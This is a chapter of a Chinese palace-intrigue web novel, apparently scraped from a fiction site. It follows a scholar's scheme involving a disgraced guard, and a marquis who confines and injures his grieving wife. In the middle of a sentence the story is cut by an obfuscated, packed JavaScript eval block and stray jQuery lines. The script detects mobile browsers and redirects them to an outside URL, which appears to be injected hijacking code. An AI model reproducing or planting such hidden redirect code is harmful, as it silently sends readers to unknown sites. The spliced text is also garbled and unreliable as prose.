19. 杀心
作品:《听说我脚踏两条船》 翌日,常明玉一早起床后却得知,徐慕笙为了点卯早已下山去了。她长舒一口气,可心里却又隐隐有些空落落的。
徐慕笙趁着晓光打马入城,他昨夜思来想去,想了一宿,还是决定今早避开。常夫人口中的婚事一旦被说破,有些事反而不方便了。他只需要再耐心等等,从昨晚的情形来看,他也不是没有机会。
回到家后时辰还早,徐慕笙换了身衣服,悠闲吃起早餐。明舟见他不过出去一晚,便仿佛换了一个人,容光焕发,心中也安定了不少。
今日是休沐,饭毕,徐慕笙又睡了个回笼觉,这才养足精神出门去了。他径直去了一处面摊,随意要了一盘小菜,紧紧盯着不远处的金复来赌坊。
半个时辰后,一个中年男子骂骂咧咧地走出堵坊大门。男子身着一身粗布麻衣,不修边幅,两眼萎靡地来到面摊,从身上摸出两文铜钱,“一份阳春面。”
“好嘞,客官稍等。”店家朗声招呼,不一会儿就端来一碗热腾腾的面条,并一大盘切牛肉。
男子面上一怔,店家笑脸指着徐慕笙道:“那位客人请你的。”
男子抬眼上下打量,眼前不过是一个白面书生,只当是那等书呆子又滥发善心。此时饥肠辘辘,有人愿意请客,他也不客气,当即大口大口吞入腹中。
徐慕笙起身几步坐至男子身旁,从袖中掏出一张当契,摆在桌面上。男子起先不以为意,随后脸色陡然一变,电光火石间夺过那契书撕了个粉碎。
“石校尉何必如此,这种东西,我这里还多的是。”徐慕笙好整以暇,似笑非笑。
“你是谁,你想干什么?”石义眼中更是惊恐,往日他当值守宫门时,那些手脚不干净的太监,进出宫门总得给些好处。
前些时日永业当被端,他在乡下躲了许久风头,见始终没人来抓自己,手又痒得不行,这才偷偷回城。
“自然是给石校尉送财路的。”徐慕笙笑着眯起双眼,“汝阳王在前线打了胜仗,石校尉可知?”
石义仍是十分警惕,“街头巷尾谁人不知,这与我有何干系?”
“不日便会有一批粮草,被押送至前线。”徐慕笙悄声道:“如今大捷在望,此时去押送粮草,意味着什么,石校尉应当比我更清楚吧。”
石义眼眸转动,他从前也曾在战场奋勇杀敌,自是明白徐慕笙的意思。大捷当前,被派去运送粮草的,往往都是些高官子弟,这些人都是去镀金的。
前线厮杀时不见他们人影儿,等到打了胜仗,他们又来捡功劳。
嘁,石义不屑讥笑一声,“这等好事,哪儿能轮得到我这等升斗小民。”
“那就要看石校尉你能不能把握住机会了。”徐慕笙压低了嗓音,“据我所知,宁远侯府的大公子就在此次押运人选之中。”
两日后,陛下果然降下圣旨,宁远侯喜不自胜。宁远侯府以军功起家,眼看着汝阳王名声大噪,他如何不眼红!
他做着重振侯府的美梦欢欢喜喜回府,瞧见苦大仇深的老妻又是一阵儿烦躁。
“婉瑜头七还没过,侯爷就把她抛在脑后了?”柳夫人这几日几乎流干了眼泪,眼眶凹陷,双目浑浊。
宁远侯顿觉扫兴,拂袖而去。
“贱人,竖子!”柳夫人盯着宁远侯轻快的背影,几乎咬碎了银牙。
她的婉瑜死的不明不白,西院儿那贱人的儿子却得了美差,眼看着要平步青云。
想踩着婉瑜的骨血往上爬,做梦!
柳夫人握紧了拳头,招来陪嫁嬷嬷耳语几句。谢必平这个纨绔,往日里可没少作奸犯科,只要稍稍把他的事迹传扬传扬,不怕那些眼红的不把他拉下来!
西院,宁远侯对着儿子好一顿交代,一家三口其乐融融,享尽了妾室和儿子追捧,这才心满意得回了书房。
他本想找个好位置把圣旨供起来,没想到刚进书房,就惊觉有异,“什么人?”
“都道人逢喜事精神爽,这话在侯爷身上可真是展现的淋漓尽致啊!”来人缓缓从黑暗中走出,月光下印出一双略显阴郁的眼眸。
宁远侯松了一口气,又讪讪道:“都是托主子的福,袁大人大驾光临,可是主子有何交代?”
“近来坊间议论纷纷,侯爷不会不知道吧。主子让我来提醒提醒你,贪心不足蛇吞象,可别把陛下那点儿愧疚心思耗尽了!”
宁远侯惊出一身冷汗,近日夫人所作所为,他不是没有察觉,想着反正与自身无碍,还能变相给陛下施压,这才没加以阻止。
没想到,近两日那流言竟然越烧越烈,蔓延至淑妃和晋王身上,他这才有些惶恐。
今日终于接到陛下圣旨,他一时高兴过了头,竟把这事儿给忘了,如今听来人提起,顿时两股战战。
“都是贱内不识大体,袁大人放心,我马上处置妥当。”宁远侯擦了擦额头的虚汗道。
送走了来人,宁远侯立刻沉下脸来,召集人手气势汹汹冲向东院。
守院的婆子见势不对,还没来得及开口,就被宁远侯一脚踹开。
砰的一声,院门被撞开。柳夫人听到动静,匆匆出门查看,只见宁远侯一脸阴沉地立在院中,身后跟着许多家丁。
“柳氏,你做的好事!”宁远侯怒斥一声,柳夫人还以为是今日派人散播谢必平那贱人的丑事被人走漏了风声,强作镇定道:“侯爷说得何事,妾身不知。”
“还敢装蒜,来人,把这院子给我围起来!”宁远侯眼中寒光迸射,“今后没有我的允许,不许柳氏出门半步!”
柳夫人怒目圆睁,不敢置信,“谢长安,你敢!”
“本侯有何不敢?”宁远侯眉头一拧,对畏畏缩缩的手下怒喝一声,“还不动手!”
众家丁也是心中一震,二小姐才去世没几日,夫人就落得如此下场。西院喜气洋洋,东院人丁凋零,侯爷也真是狠心啊!
眼见宁远侯动了真格,柳夫人又惊又怒,扑上去就要对宁远侯又抓又挠,可惜她这些时日身形消瘦,宁远侯轻轻一使力,她就被噗通一声推倒在地,磕破额头,晕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13298073|140007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了过去。
张嬷嬷急忙扑上来护住柳夫人,凄声哀求道:“侯爷,看在夫妻一场的份上,求您手下留情啊!明日小姐出殡,夫人还得送小姐最后一程啊!”
闻言,宁远侯才缓下动作。他定定地看着柳夫人,冷哼一声,转身离去。
许久,柳夫人才嘤咛一声,醒了过来。
张嬷嬷关切道:“夫人,你怎么样?头还疼不疼?”
柳夫人抬手轻轻碰了碰额头,又疼得缩了回去,气若游丝道:“奶娘,院子里如何了?”
张嬷嬷偷偷抹眼泪,“夫人,侯爷是一时鬼迷心窍,被那狐狸精迷了眼,等他消了气,你再同他服个软,想来侯爷不至于如此不顾夫妻情分。”
柳夫人长呼一口气,她身为侯府夫人,身受重伤身边却只有奶娘守着,连个侍奉的丫鬟也无。
谢长安若是真顾念夫妻情分,怎会做到这个地步!
今日他眼中冷光吓人,柳夫人鬼门关走一遭,也想明白了,他这是动了杀心。不过是如今宁远侯府正在风口浪尖上,不好现在动手罢了。
想当初,谢长安不过是个不受重视的侯府公子,若不是她不顾父亲阻拦下嫁,他如何能继承侯府爵位。
她替谢长安做了不少脏事,如今他想卸磨杀驴,也得问她答不答应!
明日婉瑜出殡,各家各府都会派人前来,她倒要让众人看看谢长安的真面目。
夜色沉沉,一个迅捷身影从宁远侯府后门处跃出,避开巡查的禁卫军,一路来到东市附近一处院落。
“殿下,已经按您的吩咐,把话带到了。”袁琪松拱了拱手,迟疑片刻又道:“宁远侯再怎么愚钝,也不至于把殿下您拖进流言里,属下觉得这背后还有他人手笔。”
闻言,男子眉间松动,眼中带出几分笑意,“她如今手段倒是比从前更刁钻了。”
袁琪松一怔,听这话,这幕后之人是殿下旧相识。既然殿下心中明了,他也不再置喙。
翌日,常明玉苦思良久,决定去当初出事的悬崖边看看。
虽说那刺客与她达成交易,待查明谢婉瑜死因后,就将买凶之人告知,可如今这情况来看,也不知要耗费多少时日。
既然来了慈安寺,不如再去事发地看看,或许能再想起什么从前没注意的线索。
一听她的打算,青兰小脸一皱,可最终还是扭不过常明玉的主意,只好小心翼翼地陪着一道。
离崖边还有好几丈远,青兰就拉着常明玉,不再让她前行,“主子,说好只远远看看。”
常明玉面上不显,其实心里也有些发怵,她环顾四周,努力在脑子中搜寻,却委实没想起什么有用的线索。
“主子,咱们回去吧。”青兰扯了扯常明玉的袖子劝道。
常明玉长叹一声,一行人刚离开没多远,就迎面碰上两名男子。
当先的年轻男子一身鹅黄长袍,生得钟灵毓秀,视线相对的一瞬间,常明玉只觉心口忽地像被人掐住,透不过气来,两腿一软晕了过去。